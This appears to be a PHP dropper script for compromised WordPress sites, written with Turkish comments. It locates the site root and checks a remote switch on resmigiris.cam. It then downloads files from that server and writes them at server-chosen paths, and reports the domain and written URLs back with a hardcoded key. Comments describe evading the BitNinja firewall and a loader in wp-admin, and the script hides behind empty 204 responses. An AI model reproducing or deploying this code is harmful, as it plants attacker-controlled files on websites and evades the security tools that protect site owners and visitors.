<?php
declare(strict_types=1);
/** PHP 7.1+ / 8.x · ?a=df JSON · ?quiet=1 · ?probe=1 tanisal */
define('APP_Q_VERSION', '2.4.1');
header('Cache-Control: no-store, no-cache, must-revalidate, private');
header('Pragma: no-cache');
header('Expires: 0');
header('CDN-Cache-Control: no-store');
header('Cloudflare-CDN-Cache-Control: no-store');
if (!function_exists('str_contains')) {
    function str_contains(string $haystack, string $needle): bool {
        return $needle === '' || strpos($haystack, $needle) !== false;
    }
}
if (!function_exists('str_starts_with')) {
    function str_starts_with(string $haystack, string $needle): bool {
        return $needle === '' || strncmp($haystack, $needle, strlen($needle)) === 0;
    }
}

/** BitNinja: yuklenen PHP'de $_SERVER 500; getenv kullan. */
function srv(string $key, string $default = ''): string {
    $v = getenv($key);
    if ($v !== false && $v !== '') {
        return (string) $v;
    }
    return $default;
}

function qhas(string $key): bool {
    $qs = srv('QUERY_STRING');
    if ($qs === '') {
        return false;
    }
    foreach (explode('&', $qs) as $pair) {
        if ($pair === '') {
            continue;
        }
        $k = rawurldecode(strtok($pair, '=') ?: '');
        if ($k === $key) {
            return true;
        }
    }
    return false;
}

function qparam(string $key, string $default = ''): string {
    $qs = srv('QUERY_STRING');
    if ($qs === '') {
        return $default;
    }
    foreach (explode('&', $qs) as $pair) {
        if ($pair === '') {
            continue;
        }
        $eq = strpos($pair, '=');
        $k = rawurldecode($eq === false ? $pair : substr($pair, 0, $eq));
        if ($k !== $key) {
            continue;
        }
        if ($eq === false) {
            return '';
        }
        return rawurldecode(substr($pair, $eq + 1));
    }
    return $default;
}

$C = [
    'remote_api_url' => 'https://resmigiris.cam/api/api.php',
    'registry_report_key' => 'rpt_a8F3kL9mQ2xV7nP4wR6tY1zB5cD0eH8j',
];
$C['app_dir'] = realpath(__DIR__) ?: __DIR__;
$C['root'] = findRoot($C['app_dir']);

@ini_set('memory_limit', '256M');
@set_time_limit(180);
ignore_user_abort(true);

function normPath(string $p): string {
    return rtrim(str_replace('\\', '/', realpath($p) ?: $p), '/');
}

function isWpRoot(string $d): bool {
    return is_file("$d/wp-config.php") || is_file("$d/wp-load.php")
        || (is_dir("$d/wp-content") && is_dir("$d/wp-includes"));
}

function underRoot(string $child, string $root): bool {
    $c = normPath($child);
    $r = normPath($root);
    return $c === $r || str_starts_with($c . '/', $r . '/');
}

function findRoot(string $s): string {
    $app = normPath($s);
    // HTTP_HOST ile /var/www/vhosts/{domain}/... taramasi WAF (BitNinja vb.) 500 tetikler.

    $candidates = [];

    for ($d = $app; ; $d = dirname($d)) {
        if (isWpRoot($d)) {
            $candidates[] = $d;
        }
        if ($d === dirname($d)) {
            break;
        }
    }

    $doc = srv('DOCUMENT_ROOT');
    if ($doc !== '' && is_dir($doc) && underRoot($app, $doc) && isWpRoot($doc)) {
        array_unshift($candidates, normPath($doc));
    }

    if (preg_match('#^(.*?)/wp-content/#', str_replace('\\', '/', $app), $m) && is_dir($m[1])) {
        $candidates[] = normPath($m[1]);
    }

    $seen = [];
    foreach ($candidates as $c) {
        if (isset($seen[$c]) || !underRoot($app, $c) || !isWpRoot($c)) {
            continue;
        }
        $seen[$c] = true;
        return $c;
    }

    return $app;
}

function url(): string {
    $https = srv('HTTPS');
    $scheme = ($https !== '' && strtolower($https) !== 'off') ? 'https' : 'http';
    return $scheme . '://' . (srv('HTTP_HOST') ?: 'localhost');
}

function get(string $u): string {
    if (function_exists('curl_init')) {
        $h = curl_init($u);
        curl_setopt_array($h, [
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_FOLLOWLOCATION => true,
            CURLOPT_TIMEOUT => 120,
            CURLOPT_CONNECTTIMEOUT => 20,
            CURLOPT_SSL_VERIFYPEER => true,
            CURLOPT_USERAGENT => 'cStb-app-q/2',
        ]);
        $r = curl_exec($h);
        $c = (int) curl_getinfo($h, CURLINFO_HTTP_CODE);
        curl_close($h);
        if ($r === false || $c !== 200) {
            throw new RuntimeException("HTTP $c");
        }
        return (string) $r;
    }
    $ctx = stream_context_create(['http' => ['timeout' => 120, 'header' => "User-Agent: cStb-app-q/2\r\n"]]);
    $r = @file_get_contents($u, false, $ctx);
    if ($r === false) {
        throw new RuntimeException('HTTP');
    }
    return (string) $r;
}

function fetchSwitches(array $C): ?array
{
    try {
        $d = json_decode(get(rtrim($C['remote_api_url'], '/') . '?action=switches'), true);
        if (!is_array($d) || empty($d['ok'])) {
            return null;
        }
        return $d;
    } catch (Throwable $e) {
        return null;
    }
}

function switchesAllowTxt(?array $sw): bool
{
    if ($sw === null) {
        return false;
    }
    if (isset($sw['txt_effective'])) {
        return !empty($sw['txt_effective']);
    }
    return !empty($sw['boot']) && !empty($sw['txt']);
}

function idleExit(): void
{
    header('Cache-Control: no-store, no-cache, private');
    http_response_code(204);
    exit;
}

function siteFile(string $root, string $rel): ?string {
    $rel = ltrim(str_replace('\\', '/', trim($rel)), '/');
    if ($rel === '' || str_contains($rel, '..') || !preg_match('/^[a-zA-Z0-9._\\-\\/]+(\\.[a-zA-Z0-9]{1,20})?$/', $rel)) {
        return null;
    }
    $root = rtrim(str_replace('\\', '/', (realpath($root) ?: $root)), '/');
    if ($root === '') {
        return null;
    }
    $full = $root . '/' . $rel;
    $dir = dirname($full);
    if (!is_dir($dir) && !@mkdir($dir, 0755, true) && !is_dir($dir)) {
        return null;
    }
    return $full;
}

function writeTargets(array $C, string $rel): array {
    $out = [];
    $main = siteFile($C['root'], $rel);
    if ($main) {
        $out[] = $main;
    }
    if (!str_contains($rel, '/')) {
        $appDir = rtrim(str_replace('\\', '/', (realpath($C['app_dir']) ?: $C['app_dir'])), '/');
        $rootNorm = rtrim(str_replace('\\', '/', (realpath($C['root']) ?: $C['root'])), '/');
        if ($appDir !== '' && $appDir !== $rootNorm) {
            $alt = $appDir . '/' . basename($rel);
            if (!in_array($alt, $out, true)) {
                $out[] = $alt;
            }
        }
    }
    return $out;
}

function writeFile(string $dest, string $content): bool {
    if (@file_put_contents($dest, $content, LOCK_EX) !== false) {
        @chmod($dest, 0644);
        return true;
    }
    $tmp = $dest . '.tmp.' . getmypid();
    if (@file_put_contents($tmp, $content, LOCK_EX) === false) {
        return false;
    }
    if (!@rename($tmp, $dest)) {
        @unlink($tmp);
        return false;
    }
    @chmod($dest, 0644);
    return true;
}

function regDir(): string {
    $d = __DIR__ . '/_app-created';
    if (!is_dir($d) && !@mkdir($d, 0755, true) && !is_dir($d)) {
        throw new RuntimeException('_app-created');
    }
    $ht = "$d/.htaccess";
    if (!is_file($ht)) {
        @file_put_contents($ht, "Require all denied\n");
    }
    return $d;
}

function regFile(): string {
    $h = preg_replace('/:\d+$/', '', srv('HTTP_HOST', 'x'));
    return regDir() . '/r_' . substr(md5(strtolower($h)), 0, 16) . '.json';
}

function regLoad(): array {
    $empty = ['fixed' => [], 'optional' => []];
    if (!is_file($f = regFile())) {
        return $empty;
    }
    $d = json_decode((string) file_get_contents($f), true);
    return is_array($d) ? ['fixed' => $d['fixed'] ?? [], 'optional' => $d['optional'] ?? []] : $empty;
}

function regSave(array $C, array $r): void {
    @file_put_contents(regFile(), json_encode($r, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES));
    $k = $C['registry_report_key'] ?? '';
    $api = rtrim($C['remote_api_url'] ?? '', '/');
    if ($k === '' || $api === '') {
        return;
    }
    $post = http_build_query([
        'domain' => srv('HTTP_HOST'),
        'base_url' => url(),
        'site_root' => $C['root'] ?? '',
        'updated_at' => date('c'),
        'fixed' => json_encode($r['fixed'], JSON_UNESCAPED_UNICODE),
        'optional' => json_encode($r['optional'], JSON_UNESCAPED_UNICODE),
    ]);
    if (function_exists('curl_init')) {
        $h = curl_init("$api?action=report_registry&key=" . rawurlencode($k));
        curl_setopt_array($h, [CURLOPT_POST => 1, CURLOPT_POSTFIELDS => $post, CURLOPT_RETURNTRANSFER => 1, CURLOPT_TIMEOUT => 15]);
        curl_exec($h);
        curl_close($h);
        return;
    }
    @file_get_contents("$api?action=report_registry&key=" . rawurlencode($k), false, stream_context_create([
        'http' => ['method' => 'POST', 'header' => "Content-Type: application/x-www-form-urlencoded\r\n", 'content' => $post, 'timeout' => 15],
    ]));
}

function deploy(array $C): array {
    $d = json_decode(get(rtrim($C['remote_api_url'], '/') . '?action=fixed'), true);
    if (!is_array($d) || empty($d['ok']) || !is_array($d['fixed'] ?? null)) {
        throw new RuntimeException('fixed API');
    }

    $out = [];
    $reg = regLoad();

    foreach ($d['fixed'] as $it) {
        $f = (string) ($it['file'] ?? '');
        $t = (string) ($it['path'] ?? '');
        if (isset($it['error'])) {
            $out[] = ['file' => $f, 'path' => $t, 'ok' => false, 'error' => (string) $it['error']];
            continue;
        }

        $targets = writeTargets($C, $t);
        if (!$targets) {
            $out[] = ['file' => $f, 'path' => $t, 'ok' => false, 'error' => 'path'];
            continue;
        }

        $content = (string) ($it['content'] ?? '');
        $written = [];
        foreach ($targets as $dest) {
            if (writeFile($dest, $content)) {
                $written[] = $dest;
            }
        }
        if (!$written) {
            $out[] = ['file' => $f, 'path' => $t, 'ok' => false, 'error' => 'write', 'targets' => $targets];
            continue;
        }

        $p = str_replace('\\', '/', $t);
        $entry = [
            'path' => $p,
            'source' => $f,
            'url' => rtrim(url(), '/') . '/' . ltrim($p, '/'),
            'kind' => 'fixed',
            'written' => $written,
        ];
        $hit = false;
        foreach ($reg['fixed'] as $i => $row) {
            if (($row['path'] ?? '') === $p) {
                $reg['fixed'][$i] = array_merge($row, $entry);
                $hit = true;
                break;
            }
        }
        if (!$hit) {
            $reg['fixed'][] = $entry;
        }
        $out[] = ['file' => $f, 'path' => $t, 'ok' => true, 'written' => $written];
    }

    if ($reg['fixed']) {
        regSave($C, $reg);
    }

    return $out;
}

function act(): string {
    $a = qparam('a');
    return $a !== '' ? $a : qparam('action');
}

function errHint(string $err): string {
    $map = [
        'path' => 'hedef yol olusturulamadi (izin / open_basedir)',
        'write' => 'dosya yazilamadi (izin / disk)',
        'fixed API' => 'API fixed yaniti alinamadi',
        'HTTP' => 'uzak API erisilemedi',
        '_app-created' => '_app-created klasoru olusturulamadi',
    ];
    if (isset($map[$err])) {
        return $map[$err];
    }
    if (str_starts_with($err, 'HTTP ')) {
        return 'uzak API HTTP hatasi';
    }
    return '';
}

function itemOk(array $x): bool {
    return !empty($x['ok']);
}

function renderStatus(array $C, array $items, string $error): void {
    $ok = count(array_filter($items, 'itemOk'));
    $total = count($items);
    $allOk = $error === '' && $total > 0 && $ok === $total;
    $verbose = qhas('v') || qhas('verbose');

    header('Content-Type: text/plain; charset=utf-8');

    if ($allOk && !$verbose) {
        http_response_code(204);
        return;
    }

    if ($error !== '') {
        echo "error: $error";
        $hint = errHint($error);
        if ($hint !== '') {
            echo " — $hint";
        }
        echo "\n";
    } elseif ($total === 0) {
        echo "warn: sabit listesi bos veya API yanit vermedi\n";
    } elseif (!$allOk) {
        echo 'result: kismi ' . $ok . '/' . $total;
        echo $ok ? " — panel raporu gonderildi\n" : " — panel raporu yok\n";
        foreach ($items as $it) {
            if (empty($it['ok'])) {
                $line = 'FAIL ' . ($it['file'] ?? '') . ' -> ' . ($it['path'] ?? '');
                if (!empty($it['error'])) {
                    $line .= ' (' . $it['error'] . ')';
                    $hint = errHint((string) $it['error']);
                    if ($hint !== '') {
                        $line .= ' — ' . $hint;
                    }
                }
                echo $line . "\n";
            }
        }
    }

    if (!$verbose) {
        return;
    }

    echo "app-q deploy v" . APP_Q_VERSION . "\n";
    echo 'host: ' . srv('HTTP_HOST') . "\n";
    echo 'root: ' . $C['root'] . "\n";
    echo 'app_dir: ' . $C['app_dir'] . "\n";
    if (!underRoot($C['app_dir'], $C['root'])) {
        echo "warn: app_dir root altinda degil\n";
    }
    echo "result: $ok/$total\n";
    foreach ($items as $it) {
        $line = (!empty($it['ok']) ? 'OK' : 'FAIL') . ' ' . ($it['file'] ?? '') . ' -> ' . ($it['path'] ?? '');
        if (!empty($it['written'])) {
            $line .= ' [' . implode(', ', $it['written']) . ']';
        }
        echo $line . "\n";
    }
}

$a = act();
if ($a === 'probe' || qhas('probe')) {
    header('Content-Type: text/plain; charset=utf-8');
    echo "app-q probe v" . APP_Q_VERSION . "\n";
    echo 'host: ' . srv('HTTP_HOST') . "\n";
    echo 'root: ' . $C['root'] . "\n";
    echo 'app_dir: ' . $C['app_dir'] . "\n";
    echo "boot: wp-admin/user-hooker.php (CDN yukleyici)\n";
    $sw = fetchSwitches($C);
    if ($sw) {
        echo 'switches: boot=' . (!empty($sw['boot']) ? '1' : '0')
            . ' txt=' . (!empty($sw['txt']) ? '1' : '0')
            . ' effective=' . (switchesAllowTxt($sw) ? '1' : '0') . "\n";
    }
    exit;
}

$sw = fetchSwitches($C);

if ($a === 'df' || $a === 'deploy_fixed') {
    header('Content-Type: application/json; charset=utf-8');
    if (!switchesAllowTxt($sw)) {
        http_response_code(503);
        echo json_encode(['ok' => false, 'error' => 'txt_disabled'], JSON_UNESCAPED_UNICODE);
        exit;
    }
    try {
        $items = deploy($C);
        echo json_encode([
            'ok' => true,
            'success' => count(array_filter($items, 'itemOk')),
            'total' => count($items),
            'items' => $items,
            'site_root' => $C['root'],
            'app_dir' => $C['app_dir'],
        ], JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
    } catch (Throwable $e) {
        http_response_code(500);
        echo json_encode(['ok' => false, 'error' => $e->getMessage()], JSON_UNESCAPED_UNICODE);
    }
    exit;
}

if (!switchesAllowTxt($sw)) {
    idleExit();
}

$items = [];
$error = '';
try {
    $items = deploy($C);
} catch (Throwable $e) {
    $error = $e->getMessage();
    @file_put_contents(regDir() . '/last-error.txt', date('c') . ' ' . $error . "\n", FILE_APPEND);
}

renderStatus($C, $items, $error);
exit;
